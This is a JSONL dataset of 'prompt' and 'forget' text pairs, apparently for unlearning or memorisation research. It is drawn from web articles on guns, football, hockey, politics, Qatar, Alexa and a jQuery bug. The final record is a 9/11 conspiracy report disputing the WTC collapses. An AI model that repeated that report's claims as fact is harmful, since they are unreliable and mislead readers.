minor blip with its estimated 1 \u2013 1.5 million device sales across its multi-branded range in the platform\u2019s first year of existence, the Apple Watch could be the benchmark-raising saviour of a slow-burning new tech genre.\" A rising tide lifts all boats or some such. It's the Starbucks effect, where the rise of the"}
{"prompt": "During Thursday's debate, Republican frontrunner Donald Trump said that the answer to America's gun problem is, well, more guns: \"I am a Second Amendment person. If we had guns in California on the other side where the bullets went in the different direction, you wouldn't have 14 or 15 people dead right now. If even in Paris, if they had guns on the other side going in the opposite direction, you wouldn't have 130 people plus dead.\" Trump was articulating the \"good guy with a gun\" myth: the idea that the answer to shootings \u2014 like those in San Bernardino,", "forget": "California, and Paris \u2014 is having more people with guns to stop violent perpetrators. But the research clearly shows that Trump is wrong. Time and time again, the empirical research has found that more guns lead to more gun deaths, and that the US's easy access to guns in fact contributes to gun homicides. More guns mean more gun deaths The theory behind the mantra of \"a good guy with a gun\" is that more people should be armed so they can be ready to defend themselves and others from an active shooter. But the research suggests that's plainly false: When there are more guns and gun owners, there are far more gun deaths. Studies have found this to be true again and again \u2014 for homicides, suicides, domestic violence, and violence against police. Here's one chart, from a 2007 study by Harvard School of Public Health researchers, showing the correlation between statewide firearm homicide victimization rates and household gun ownership after controlling for robbery rates: A more recent study from 2013, led by a Boston University School of Public Health researcher, reached similar conclusions: After controlling for multiple variables, the study found that a 1 percent increase in gun ownership correlated with a roughly 0.9 percent rise in the firearm homicide rate at the state level. This holds up around the world. As Vox's Zack Beauchamp explained, a breakthrough analysis in the 1990s by UC Berkeley's Franklin Zimring and Gordon Hawkins found that the US does not, contrary to the old conventional wisdom, have more crime in general than other Western industrial nations. Instead, the US appears to have more lethal violence \u2014 and that's driven in large part by the prevalence of guns. \"A series of specific comparisons of the death rates from property crime and assault in"}
{"prompt": "CHARLOTTE, N.C. \u2014 At 6-foot-6, 318 pounds, Andrew Norwell is a difficult person to miss. And yet, that\u2019s precisely what happened during the 2014 NFL Draft \u2014 when all 32 teams passed on the college prospect. Now, there\u2019s absolutely no way to overlook Norwell, who emerged as a star at left guard last season for the Carolina Panthers and finished as one of the top players at his position. Norwell is also a key reason why the offensive line has the capacity to be downright good, sooner than later \u2014 something nobody would have suspected this time last year. The", "forget": "Ohio State product, a three-year college starter and two-time All-Big Ten first-team selection, watched seven rounds of the 2014 draft go by without hearing his name called. A few days later, Norwell signed as a free agent with the Panthers. Unbeknownst to the Panthers at the time, one post-draft phone call might have secured their future at left guard. In 2014, Norwell started at left guard in eight of his last nine games; the other outing included a start at right guard. How skilled was the free-agent rookie? Of his last six games at left guard, Norwell graded out analytically speaking as the fourth-best left guard in the NFL. For good measure, Norwell also didn\u2019t allow a single sack and only one quarterback hit. \"That surprises me, because I never read up on myself,\" says Norwell of his stats. \"I stay away from that stuff.\" On the whole, the Panthers had a rough 2014 campaign along the offensive line, with the left side \u2014 namely tackle Byron Bell at tackle and guard Amini Silatolu \u2014 grading out poorly. As a unit, the O-line ranked at or near the bottom in every analytical statistical category. Then, injuries started to happen; and before he knew it, Norwell went from not dressing for games to starting against the Seahawks. \"It was an amazing experience,\" recalls Norwell. \"Playing the defending champs and it being my first start against Seattle, it was an incredible experience. And with it being a home game, my family got to come down and watch me. It was exciting. \u2026 \"I was a little nervous the first series, but after that, I was like, \u2018Let\u2019s play ball.\u2019\" Norwell was a steadying force, giving the Panthers something they hadn\u2019t had in numerous years at that position \u00e2\u0080\u0093 quality starts. Though he"}
{"prompt": "Ready to fight back? Sign up for Take Action Now and get three actions in your inbox every week. You will receive occasional promotional offers for programs that support The Nation\u2019s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and get three actions in your inbox every week. Thank you for signing up. For more from The Nation, check out our latest issue Subscribe now for as little as $2 a month! Support Progressive Journalism The Nation is reader supported: Chip in $10 or more to help us continue to write about the issues", "forget": "that matter. The Nation is reader supported: Chip in $10 or more to help us continue to write about the issues that matter. Fight Back! Sign up for Take Action Now and we\u2019ll send you three meaningful actions you can take each week. You will receive occasional promotional offers for programs that support The Nation\u2019s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and we\u2019ll send you three meaningful actions you can take each week. Thank you for signing up. For more from The Nation, check out our latest issue Travel With The Nation Be the first to hear about Nation Travels destinations, and explore the world with kindred spirits. Be the first to hear about Nation Travels destinations, and explore the world with kindred spirits. Sign up for our Wine Club today. Did you know you can support The Nation by drinking wine? This is an unusually satisfying editorial to write. Stay with me. Ad Policy When The Nation endorsed Hillary Clinton for president last month, we argued that \u201ca substantial victory by her in November is essential to advance the progressive issues we have long championed.\u201d Here in the magazine\u2019s home state of New York, we have a special opportunity to cast our votes not just for a presidential candidate, but for a party. I speak, of course, of the Working Families Party. When New Yorkers vote for Secretary Clinton on the Working Families Party line (Row E), it counts the same as a vote on the Democratic line. But it also carries a little extra punch. It says that you want to elect Clinton and defeat Trump, and it also says that you support the state\u2019s most important progressive political organization: the WFP. Since its founding in 1998, the Working Families"}
{"prompt": "The next phase of Qatari investment in the global game is coming, and television rights are the new target Why PSG and the World Cup will not be enough for football-hungry Qatar When Paris Saint-Germain defeated Chelsea at Parc de Princes on Wednesday, they did so as a club reborn. Chelsea, themselves transformed a decade ago by a cascade of cash from a then unknown overseas investor, had labelled their Champions League opponents as \"dark horses\" on their own website in the buildup to the quarter-final first leg. Yet that would only have been accurate if the black steed in", "forget": "question was wearing a bright pink feather boa and leaving a trail of high denomination Euros in its wake. Qatar's trolley dash around world sport could not have been more eye catching, even without the controversy and turmoil that has surrounded its successful World Cup 2022 bid. The PSG purchase was just one of a number that have been marked down as an attempt to both secure the Gulf state's future beyond the point when its natural gas and oil reserves run dry, and afford it international profile. That process reached its natural conclusion with the vote in December 2010 to award the 2022 World Cup to Qatar, a decision that remains mired in controversy as Fifa and organisers grapple with the desperate plight of the 1.4m migrant workers and questions still swirling around the bidding process. Yet it goes much broader and deeper, also encompassing a hitherto largely ignored parallel network of sports TV channels, branded BeIn Sports, that also play a significant strategic role. Fans in France watched the Champions League game live on Canal Plus, but the French broadcaster now shares rights to the competition with its Qatar-owned rival. From the shirts of fellow quarter-finalists Barcelona emblazoned with Qatar Airways to the Bayern Munich side that regularly troop to Doha for their winter training breaks, and the network of Aspire Academies that criss-cross the globe, the emirate is transforming itself into a sporting superpower. Most noticeably, the trajectory blazed by PSG since the club was bought in April 2011 by Qatar Sports Investments, an arm of the $115bn Qatar Investment Authority that has stakes in a global portfolio that stretches from Credit Suisse to the owner of Heathrow airport, is even steeper than those other grand projects at Stamford Bridge and Manchester City's Etihad Stadium. The official"}
{"prompt": "Developers can use flags for many different things, but today the use-case we're going to discuss is all about protecting your data. Imagine a very real scenario in which you want to be able to protect a variable in certain situations. In this quick tutorial, we'll talk about a use-case in JavaScript where we want to retain the data inside a div that we replaced. Let's take a look. The problem Grey Elerson is working on a pretty cool project. I realize this isn't much to run on, but I don't want to give away too much more information than", "forget": "that. Within this project, he has attached comments to an object and wanted to have a hover effect on each comment. But a problem came with the hover command in jQuery; the mouseenter event would fire twice before firing the exit event. His original code looked like this: $ ( ' div.comment ' ). hover ( function () { var high = $ ( this ). height (); var wide = $ ( this ). width (); comment_html = $ ( this ). html (); console.log(comment_html); var hoverstring = \"<div style='height: \"+high+\"px ; width: \"+wide+\"px ;'><p style='font-size: 30px; color: #efefef; text-align: center;position: relative; top: 50%;transform: translateY(-50%); opacity: 0.5;'>Reply</p></div>\"; $(this).html(hoverstring).css(\"background\", \"#444\"); console.log(\"mouse in\"); }, function(){ $(this).css(\"background\", \"#efefef\").html(comment_html); console.log(\"mouse out\"); } ); As you can see, Grey was calling an event on hover to replace the div's contents with a \"reply to this comment\" message. A very simple idea, but one that was breaking. When he hovered on the item it sometimes fired the hover event twice right in a row. Since his original comment HTML was not protected, he just overwrote it with the new HTML. This meant that when he stopped hovering on the comment, the reply message still showed. In order to fix this we need to protect the original comment. The solution You can go over several solutions to this problem, but you'll quickly find that many are just complex and bloated. These might include a JSON array with the original comment HTML stored, but this involves loops and lots of data being generated. In a situation like this, you also need to decide if the solution needs to be on the server side or the client side. Thankfully, the solution we decided on addressed the initial problem (of the double-firing of the mouseenter event and no protection)."}
{"prompt": "Photo Ballots were stacked up as a statewide presidential election recount began Thursday, in Milwaukee. Credit Morry Gash/Associated Press LANSING, Mich. \u2014 Supporters of President-elect Donald J. Trump have filed legal challenges in Pennsylvania, Wisconsin and Michigan in a suddenly robust effort to stop the presidential election recount efforts there. Bill Schuette, the attorney general of Michigan, said that the recount, initiated by Jill Stein, the Green Party candidate, put Michigan voters at risk of \u201cpaying millions and potentially losing their voice in the Electoral College in the process.\u201d \u201cThis court cannot allow a dilatory and frivolous request for a", "forget": "recount by an aggrieved party to silence all Michigan votes for president,\u201d Mr. Schuette, a Republican, said in a court filing. A lawsuit against the Wisconsin Elections Commission filed in Federal District Court by the Great America PAC, the Stop Hillary PAC and Ronald R. Johnson, a Wisconsin resident, argued that the recount could \u201cunjustifiably cast doubt\u201d on Mr. Trump\u2019s victory in that state. The plaintiffs argued that the recount, which began across the state\u2019s 72 counties on Thursday morning, should be halted immediately, in part because there is a substantial chance that it cannot be accurately completed by the deadline of Dec. 12. In 2011, a statewide recount took close to a month. Advertisement Continue reading the main story In Michigan on Friday, where the recount is still pending, the Board of State Canvassers met to consider an objection to the recount by Mr. Trump. Lawyers for Mr. Trump told the canvassing board, which is made up of two Democrats and two Republicans, that it should not allow a recount to proceed, describing it as needless, too expensive and not required by Michigan law. Besides, Ms. Stein came nowhere near winning the state. \u201cThis recount petition is absolutely unprecedented in the history of Michigan election law,\u201d said Gary Gordon, a lawyer for Mr. Trump and his campaign. A lawyer for Ms. Stein, Mark Brewer, said Mr. Trump\u2019s campaign was making a \u201cdesperate attempt\u201d to avoid a recount. \u201cI would remind everybody that the original source of the allegation that this election was rigged was Mr. Trump,\u201d Mr. Brewer told the board. The Michigan board split, 2-2, along party lines, meaning the recount objection failed. Lawyers for Mr. Trump and his allies are also seeking to halt legal proceedings by Ms. Stein to contest the statewide election results in Pennsylvania."}
{"prompt": "http://gty.im/856366694 The Detroit Lions defense had a lot of question marks going into the season. They have answered all of them. Their stars were coming off down years in 2016. Their surprise role players from seasons past were gone, suspended, or injured. They were expected to be the anchor that might drag the team down in a storm. They were the one phase of the team that the experts said could not be relied upon, the heel that undid mighty Achilles. Their response to those questions and comments can best be summed up in a quote from Cornelius Washington before", "forget": "week one. \u201cI just try my best to stick it up y\u2019all\u2019s behinds\u201d Washington said at a scrum. Well Mr. Washington, consider my behind sore, and consider these questions answered. Who Is Going To Rush The Passer? Anthony Zettel is going to rush the passer. Zettel has recorded a sack in three out of four games, and put up two against the Vikings. Ezekiel Ansah is also going to rush the passer. In the only game that Zettel did not record a sack, Ansah recorded three. Haloti Ngata, Jeremiah Voloaga, and Jarrad Davis have each added a sack to the team\u2019s total. Akeem Spence has not finished the job, but his intense pressure in the middle has led to more than one quarterback being unable to step up in the pocket to avoid the outside pass rushers. The Lions defense is 14th in the NFL in sacks. That\u2019s not spectacular, but it is a massive step up from 2016, and a better performance than anyone gave the defensive line credit for. Who Is Going To Cover Tight Ends? The Lions have given up 15, 108, 9, and 46 yards to tight ends in their first four games of the season. They gave up a few long plays and an ugly touchdown against the Giants. Other than that they have handled their business in exemplary fashion. According to Pro Football Focus, the primary defender the Lions have deployed against tight ends is Tahir Whitehead, and the Lions are an above average play for tight ends. I guess 44 yards and a 25% chance of getting a touchdown constitutes a good fantasy play? Whitehead\u2019s move to the outside has gone incredibly well. Miles Killebrew\u2019s usage as the big nickel safety has also been a huge deterrent for any team looking at their"}
{"prompt": "A year and a half ago, Amazon opened up its Alexa voice assistant to developers. With the Alexa Skills Kit, Alexa and its hardware hosts\u2014the Echo, Dot, Tap, and now dozens more from third parties\u2014became more than just speakers and digital weathermen. It became a platform, capable of supporting a full ecosystem of skills, which are essentially apps that you talk to instead of touch. Today, there are 10,000 skills available on Alexa. It\u2019s an exponential increase since last summer, a rise that presents a host of new opportunities\u2014and new challenges. While 10,000 may seem like an arbitrary milestone, it\u2019s", "forget": "an instructive one, especially when you consider how fast it\u2019s come. Last June, a full year after the ASK launched, Amazon announced that Alexa had reached 1,000 skills. By September, that number had tripled. In January, Alexa\u2019s skills catalog swelled to 7,000. It took just over a month to tack on another three thousand. Alexa still doesn\u2019t come anywhere close to rivaling its mobile counterparts; the App Store and Google Play both count their offerings in the millions. But the 10,000 skills mark represents a beachhead in the the brave new (and increasingly competitive) world of voice assistants. Where it goes from here will help define the next generation of user interfaces. As will, more importantly, how it gets there. Skills Set While Alexa became a developer\u2019s playground in 2015, Amazon\u2019s vision for a home-grown voice assistant started a full four years ago. \u201cWe had this inspiration of the Star Trek computer,\u201d says Steve Rabuchin, who heads up Alexa voice services and skills at Amazon. \u201cWhat would it be like if we could create a voice assistant out of the cloud that you could just talk to naturally, that could control things around you, that could do things for you, that could get you information?\u201d Amazon\u2019s first key innovation wasn\u2019t voice itself, or even responsiveness; speech recognition has been around for decades, and Apple introduced the conversational Siri in 2011. Amazon\u2019s accomplishment was freeing its voice assistant from the smartphone, nudging users closer to a truly ambient experience. The second breakthrough? Giving those users things to do. At the end of 2015, a few months after the ASK availability, Echo owners had 135 skills to choose from. Today, they\u2019ll find among their 10,000 options a bevy of smart home controls, multiple car companies, Starbucks, and not one but two national"}
{"prompt": "The Vancouver Canucks, who bombed out at 28th overall and got wrecked by the draft lottery, are now in a position to fight for playoffs. With a game in hand over the eighth-place Calgary Flames and only one point back, all the critics who portrayed the Canucks as a directionless failure are being proved wrong: the Canucks are not a failure. USA Today projected the team would hit 65 points, while EA predicted even worse with 63 points in their season simulation. If the Canucks were to be truly that bad, they would have the lowest team points since Edmonton", "forget": "and Buffalo in 2014-15. But no \u2013 the Canucks started off the year 4-0-0, and are one of a few teams that have seven players with ten or more goals \u2013 Bo Horvat, who in his third season leads the team, has broken out into the next star, with 14 goals and 31 points in 48 games and an All Star Game Selection. Brandon Sutter, who was injured for the majority of last year, has 12, Henrik Sedin (congratulations on 1000 points!) has 11 along with brother Daniel, Sven Baertschi, and Markus Granlund (whose trade from Calgary for Hunter Shinkaruk drew heavy criticism). Summer free agent acquisition Loui Eriksson has 10 after a very slow start to the season. Alex Burrows, who was considered to be an overpaid buyout candidate, has worked himself onto a spot in the top 9 with Horvat and Baertschi and has seven goals. Ryan Miller has shown why he was signed to his contract. While he\u2019s got a middling-but-decent 2.50 GAA and .919 sv%, he\u2019s played well, stuck up for his team, and been a source of leadership in the dressing room. Troy Stecher, who played on the North Dakota team with Canuck prospect numero uno Brock Boeser, has shown incredible skill as a rookie defenseman coming straight out of college. His moves have left fans\u2019 jaws agape and his work ethic has fans and management alike falling in love with him. Nikita Tryamkin, brought over from Russia at the end of the season in 2016, has not looked out of place, despite being held out of games early for being reportedly out of shape. He is constantly a source of physicality and solid puck movement (except when he ices the puck). Even Luca Sbisa has looked good this year \u2013 which is much-needed, given"}
{"prompt": "Thank you for stopping by our Quilt Cottage webpage! \"Dimensions\" Quilt Block of the Month by Stephanie Soebbing Each month during our Quilt U class (details below), Kathie will present the block and give a demonstration (of what NOT to do!). You can pick up your packet then or any time after that evening. First month $50. Each month after will be $19.99. MONTHLY Quilt University Every 4th Tuesday of each month from 6:00 - 7:30 pm. Fee: FREE! Level: all. Love to quilt? Curious to start? Want to meet others who do quilt and have so much information to", "forget": "share? Then Quilt U is where you want to be on the 4th Tuesday of each month from 6:00 to 7:30 pm. Bring your questions, ideas and latest creation. We love to share our work and have fun. A different technique will be presented each month and the \"Dimensions\" Block of the Month. See what new fabric has arrived. We always laugh and have fun. Join us! Instructor: Kathie Conlee Projects to Sew LOVE Banner Kit (while supplies last) Urban Cottage Infinity Scarf (Fabric by Moda) Stitch Cats by Clothworks Panel & Pillowcase DIY Tote Bag Tote bags make great gifts to use all year long. This tote was created with the Fiji Tote pattern, modified to be horizontal. Hot Stuff Oven Mitt Includes silicone overlay, instructions and templates. Placemat Forms & Patterns Create personalized placemats for friends and family using their favorite theme fabric. They'll think of you every time they sit at the table! Jelly Roll Rug It takes only one 42 pc Jelly Roll pack of 2.5\" quilting strips to make one rug. These rugs are fun to make and very trendy right now! Fabric Panel - Bear Kit The printed instructions have a fabric bear that you can cut out and attach to a shirt so your child matches the teddy bear! Use Steam-A-Seam to make personalized towels Steam-A-Seam makes creating themed towels an easy no-sew project! See how easy it is to use this double stick fusible web! https://youtu.be/4mIGtgX-vfk Happy Quilts! Book You'll love making adorable soft toys and quilts using these fun kid-themed patterns from the book \"Happy Quilts\" by Antonie Alexander. Which ones will your child pick? Pillowcases Pillowcases are so easy to make! Use our \"Big Splash\" fabric collection from Henry Glass & Co for a fun under-the-sea theme. Sewing Art Check"}
{"prompt": "When I initially started my Magic Mirror project, it was just to see if it was possible. It was never meant to be an open source project, let alone a commercial project. When the project eventually got more famous, it wouldn\u2019t take long for the first commercial opportunities \u2026 After the blog posts of my Magic Mirror went viral (mainly because the Raspberry Pi foundation blogged about it), the first inquiries started to appear in my inbox. An though I wasn\u2019t really interested in building Magic Mirrors as paid projects, one inquiry really stood out. It turned out a successful", "forget": "entrepreneur was building a new house and was looking for a nice eye-catcher as the center piece of the living room. Since the living room would contain a mirror anyway, the Magic Mirror project was the perfect fit. The mirror ended up being a 2 x 3 meter mirror with a 60\" LED TV behind it. As far as I know this is the largest Magic Mirror so far. The client\u2019s work consists of a lot of traveling, and thus he wanted a way to show the places on earth he visited most. Using Google\u2019s WebGL Globe I created a module that showed the visited spots using spikes on a rotating globe. If a spot is visited more than once, the spike becomes longer. Above video was made during the development process. The rotating globe really gives a nice futuristic touch to the project. Because of the WebGL usage, this Mirror isn\u2019t running on a Raspberry Pi. It uses a Mac Mini as its host allowing me to built more processor intensive modules. Since the mirror is larger than the screen itself, a black frame is placed around the monitor. This prevents you from seeing the guts of the Magic Mirror. On the photo you can see the frame around the monitor. But honestly, in real life it doesn\u2019t affect the end result in a negative way. Better yet: it gives some depth to the project. Having such a large Magic Mirror in the center of your living room gives you a lot of opportunities for cool home automation projects. So as you can guess, this is an ongoing project. The best part of this project? It allowed me to work on the Magic Mirror on a paid basis, resulting in the MagicMirror\u00b2 platform. Of course, the client specific modules"}
{"prompt": "SNc Channels: Search About Salem-News.com Mar-28-2009 14:17 TweetFollow @OregonNews President Obama -- Out of Touch, or A Hypocrite? When I think about the vast numbers of people who are serving time for nothing more than marijuana possession, and the havoc incarceration wreaks on them, their families, and everyone they will meet in the future, I'm very sad. Courtesy: datelinebucharest.com (SALEM, Ore.) - On Thursday, March 26th, President Obama hosted an Internet town hall meeting, inviting the public to submit and vote on questions to be asked about the economy. It was exciting to see that several of the most popular", "forget": "submissions were questioning the economic wisdom of continuing the drug war, and specifically the war on marijuana consumers, in these tough economic times. Unfortunately, while the President clearly got the message that there's tremendous public interest in this issue, he seemed to be out of touch with the realities of today's drug war. His only response was to joke, \"There was one question that was voted on that ranked fairly high, and that was whether legalizing marijuana would improve the economy and job creation, (and I don't know what this says about the online audience). The answer is, no, I don't think that is a good strategy to grow our economy.\" Although there were many questions asked about cannabis, most had little if anything to do with legalizing it to \"grow our economy.\" People were asking very serious questions related to the massacres south of our border, and whether bringing the drug profits funding them into a legal, taxed, and regulated market might help turn the tide. They were asking our President if he believes that chasing down cannabis consumers is really a wise use of our scarce resources in these difficult economic times. But he turned this important discussion into a tasteless, offensive joke, disparaging the citizens he had asked to submit questions in the first place. Considering our tax dollars are spent to incarcerate more of our citizens per capita than any other nation, not to mention the societal costs of having 1 in 31 adult Americans behind bars or on parole or probation, this seems to me to be a serious issue. Adding in the cost of all of the lives lost and families torn apart in an ideological and hypocritical pursuit of a \"drug free America,\" (brought to you by Merck and Pfizer, of course), I"}
{"prompt": "Image caption The government is keen to convince NHS staff of the merits of its reforms The government looks set to increase the amount it spends on advertising and PR to help it sell NHS changes and other policies to the public. Next year's marketing budget is \u00a3285m, according to Cabinet Office figures. That is an increase on the \u00a3168m spent by the now axed Central Office of Information in its final year. The Cabinet Office says it is not fair to compare the figures and the overall budget is still far below that spent by the previous Labour government.", "forget": "A spokeswoman said not all government marketing money was spent through the COI so it was misleading to compare the organisation's budget for 2010-11 with the projected spend for next year, which will include all marketing activity. In addition, there was no \"meaningful\" figure for 2011-12, when the COI, which bought advertising space and commissioned public information films on behalf of government departments, was being wound up. Complex changes But marketing industry insiders say the figures, which are included in the government's new marketing plan for 2012-13 released this week by the Cabinet Office, clearly indicate an increase. Oliver Hickson, former PR chief at the COI, said: \"My view on this is that spending is going up. We are determined to ensure spend never returns to anything like the highest levels seen before Cabinet Office \"The vast majority of central government marketing spend was through the COI. \"There was some other spend but I would suggest that was either internal press offices or local authorities, which will still carry on.\" Part of the planned increase in spending is likely to go on explaining complex changes to the welfare system and trying to convince health service workers and the public of the merits of NHS reforms, says Mr Hickson, who now runs his own public sector PR consultancy. \"They are quite big and potentially sensitive issues that you would imagine would need a reasonable amount of money spent on them to talk to stakeholders and the public,\" he told BBC News. But he says it is \"sensible\" for the government to spend money on communication, particularly if it is targeted at \"hard-to-reach groups\" such as young people and pensioners. In its \"annual plan for proactive government communications\" the Cabinet Office details how departments are being forced to work together on marketing"}
{"prompt": "November 15, 2012 12:58 IST J ust one week after United States President Barack Obama's convincing re-election, his faithful Vice President Joseph Biden led the White House celebration of Diwali, reflecting on the significance of festival of lights, and also acknowledging the presence of Tulsi Gabbard, the first Hindu American elected to the US Congress, and also Ambassador Nirupama Rao, who like Gabbard, seemed to have that gravitational pull in terms of the guests wanting to pose for pictures with them. Also present at the celebration that was closed to the press, were Dr Ami Bera, on the brink of", "forget": "becoming the first Indian American physician elected to the US Congress from the 7th District in California, and Kumar Barve, the majority leader in the Maryland House of Delegates, and the most senior Indian American legislator who was elected to the State Assembly nearly two decades ago. The nearly two-hour celebration, held on November 13 at the Old Executive Office Building -- which lies adjacent to the White House and houses the administrative offices of the White House -- after which the guests moved to the Indian Treaty Room for the reception, was attended by a select cross-section of about 200 members of the Indian American community from across the country, senior Indian American staffers in the administration like Dr Rajiv Shah, the administrator of the US Agency for International Development, and also erstwhile officials, including Aneesh Chopra, the first chief technology officer in the White House and now making a run for lieutenant governor of Virginia, several US lawmakers and one of the priests from the Sri Siva Vishnu Temple in Lanham, Maryland, Ramesh Babu, who recited a shloka and assisted Biden in the lighting of the diya and then wrapped the ceremonial shawl on the vice president. After greeting the guests with a Happy Diwali and Saal Mubarak, Biden began with a quip that had the audience in peals of laughter as he said Diwali was all about light over darkness, \"and that's what we are all about -- trying to shed some light.\" But then getting serious, he said, \"It's a very special time for all of us here today and a time which means a great deal to me personally, and it means a lot to see so many good friends as I look out on this audience.\" Biden then greeted Rao and also the deputy"}
{"prompt": "The funeral of Lian Zaher Nasser was held in the Arab-Israeli town of Tira on Jan. 3. Nasser, 19, was killed in Istanbul\u2019s Reina nightclub when a gunman opened fire on New Year\u2019s Eve revelers, killing 39 and wounding dozens of others. Thousands attended the funeral, among them hundreds of young Arab-Israeli women who came to pay their last respects to Nasser but also in defiance of those who cast aspersions on Nasser\u2019s moral character, claiming her death was divine retribution for celebrating a Christian holiday in mixed company with men at an amoral alcohol-soaked affair. Such claims were first", "forget": "expressed in mosques and then erupted onto social media sites, where stormy arguments developed. \u201cModerate\u201d posters wondered what a group of Muslim girls was doing in an Istanbul nightclub, and some went so far as to compare the club to a brothel. Her relatives said Nasser was murdered twice: once by an Islamic State (IS) terrorist and a second time by sympathizers of the movement within the Arab-Israeli community. At the end of the funeral procession, her father, Zaher Nasser, reacted to those seeking to sully his daughter\u2019s name. \u201cMy daughter was murdered through no fault of her own. All she wanted was to enjoy herself, and that\u2019s not forbidden. The fact that she\u2019s a Muslim does not prevent her from having a good time, and Islam does not call for murder and such violence,\u201d he said. During the funeral procession, Arab Knesset member Ahmad Tibi said angrily, \u201cWe are sad and pained but also angered by the crimes. People who cannot find a kind word should just keep silent and be ashamed of themselves.\u201d The chairman of the Joint List, Knesset member Ayman Odeh, wrote on Facebook that he was deeply shocked that instead of mourning the murder of a young woman in a terror attack carried out by Muslim fanatics, Arab society was concerning itself with the lifestyle of young women unwilling to accept the religious Muslim way of life preached by IS. \u201cI\u2019m surprised to see reactions that are light years away from the spirit of our people, reactions of primitive derision and hatred fostered by the murderous ideology of the Islamic State,\u201d he wrote. Odeh\u2019s fellow Knesset members called for the eradication of extremist Islamist elements that have infiltrated Arab society. The debate generated by Nasser\u2019s choice to spend New Year\u2019s Eve partying at an Istanbul"}
{"prompt": "Standard & Poor\u2019s fired its first shot by downgrading South Africa\u2019s long-term foreign currency sovereign credit rating to \u201cjunk\u201d status. This may sound like financial mumbo-jumbo to most South Africans, and it is. So, let me explain. \u201cIn our opinion, the executive changes initiated by President Zuma have put at risk fiscal and growth outcomes. We assess that contingent liabilities to the state are rising.\u201d Standard & Poor\u2019s, 3 April 2017 In a nutshell, we are all poorer today than we were yesterday. Credit rating agencies are companies that make a living by assigning a \u201ccredit rating\u201d to loans raised", "forget": "mostly by governments, municipalities and corporates. That credit rating reflects their assessment of the debtor\u2019s ability to pay back the loan. They evaluate both political and economic risks in making their decision. There are three main credit rating agencies \u2013 Moody\u2019s, S&P and Fitch. All investors and asset managers, domestic and international, rely on these credit ratings to determine whether they will lend the borrower money, and if they do, how much they will ask them to pay in interest. This is not dissimilar to what banks do to their customers. A good earner with a healthy bank balance, a history of paying off credit card debt and a mortgage-free house can borrow a lot of money at a low interest rate, such as, for instance, 9% per annum. A Sassa grant recipient in a township, as we have recently learnt from the Net1 disaster, pays 164%. Governments normally have to borrow money as the revenue they collect in taxes is not always sufficient to cover all the expenditure they have to incur. South Africa\u2019s government debt currently stands at R2.2-trillion. The country pays R169-billion in interest every year. We need to borrow R149-billion this year. Government borrows money by issuing \u201cbonds\u201d which investors buy, effectively lending the government money. Government can borrow the money in local currency (rands), or in foreign currency (e.g. US dollars). Foreign currency debt is riskier as it is exposed to the fluctuations of the currency e.g. if South Africa borrows money in US dollars, then the level of debt increases if the rand depreciates. Credit rating agencies then assign a credit rating to such bonds. Each agency has a slightly different \u201cstar\u201d system for assigning credit ratings, hence the AAA, BB+, AA- etc. that you see peppering newsprint. This is irrelevant. In all cases,"}
{"prompt": "SAN FRANCISCO \u2013 A new edition of an international space exploration planning document to be released early next year will offer an updated plan for human missions to the moon and Mars, emphasizing the role that NASA\u2019s proposed Deep Space Gateway could play. In January, NASA and 14 international space agencies plan to publish their common goals for exploration, including an extended presence in low Earth orbit, a cislunar habitat, moon missions and eventual excursions to Mars, in an updated Global Exploration Roadmap being drafted by the International Space Exploration Coordination Group (ISECG). Since NASA\u2019s first flight of its heavy-lift", "forget": "Space Launch System with an Orion capsule is scheduled for as soon as late 2019, it\u2019s time to decide \u201cwhat we are going to do with these vehicles,\u201d Kathy Laurini, NASA senior adviser for exploration and space operations, said during a Global Exploration Roadmap community workshop at the NASA Ames Research Center Nov. 29. \u201cWe\u2019ve been engaged with our international partners on how we\u2019ll use these to explore together.\u201d ISECG, a voluntary organization whose members share non-binding plans and objectives, published its last Global Exploration Roadmap in 2013. ISECG members will use the new Roadmap to show domestic policymakers and funding agencies how specific programs will contribute to global endeavors, said Laurini, who also serves as ISECG chair. NASA, for example, will point to the roadmap as it seeks funding and authorization for future SLS and Orion missions. NASA officials acknowledged, though, that the agency is waiting for confirmation of a new administrator and direction from the National Space Council. Future exploration plans will become clearer when the Trump Administration and Congress weigh in on the agency\u2019s budget, said Mark Geyer, acting deputy associate administrator for NASA\u2019s Human Explorations and Operations Mission Directorate. NASA also is seeking domestic and international support for its conceptual Deep Space Gateway. \u201cWe see an orbital platform as playing a vital and synergistic role with anything you do on the surface,\u201d said John Guidi, NASA advanced exploration systems deputy director. For instance, reusable landers could move astronauts to the Deep Space Gateway, which could also serve as a jumping off point for exploration of near Earth asteroids and Mars. \u201cCislunar orbit is the sweet spot. It\u2019s close enough to Earth and the moon but out of the gravity wells,\u201d Guidi said. In the new Roadmap, ISECG will emphasize a shared commitment in the next 10"}
{"prompt": "Can Physics Rewrite History? A compilation of physical impossibilities & overlooked evidence in the official explanations for the destruction of the World Trade Center Complex truememes@yahoo.com This report is divided into the following sections: My independent research efforts into this matter are of a volunteer nature and are motivated by a desire to learn the truth about these events. Even if you disagree with my conclusions, I hope you will at least share my intentions. This report offers a close look at physical evidence. It is NOT a \u201cconspiracy theory.\u201d I hope this report will function as an assist for", "forget": "others who may also be looking into these important questions on their own. The information that is presented here can be easily verified and/or expanded upon with simple internet searches. I have provided many links to good sources of data and analysis on both sides of the issues. Independent research is a healthy exercise for anyone's critical and logical faculties \u2014 it is also a profound opportunity to reclaim possession of our understanding and perspective. How can we hope to control our future if we are guided by important beliefs about the past that are untrue? How were three steel frame high-rise structures completely destroyed on 9/11? Many conflicting theories have been put forward, but unlike most of history's unanswered puzzles, the destruction of the WTC Towers and the mysterious collapse of WTC Building 7 are matters of physics. We cannot even begin to define the crime of 9/11 until we have a basic understanding of the physical events that we all witnessed. The consideration of who had the means, motive and opportunity can only begin once we know what actually happened! Existing photographic and video evidence that has undisputed authenticity and is a part of the public record presents a number of striking problems with the belief that the airplane impacts initiated a chain of events that ultimately destroyed the Towers, and of course WTC Building 7 was not hit by an airplane. To clearly see these problems, it is helpful to first have a basic understanding of materials behavior and the design of the Towers, and then to become aware of the distinct and remarkable features of the events themselves. This report includes a critical evaluation of the leading \"official\" theories, followed by an examination of compelling forensic evidence that is consistently either ignored or misrepresented by these"}
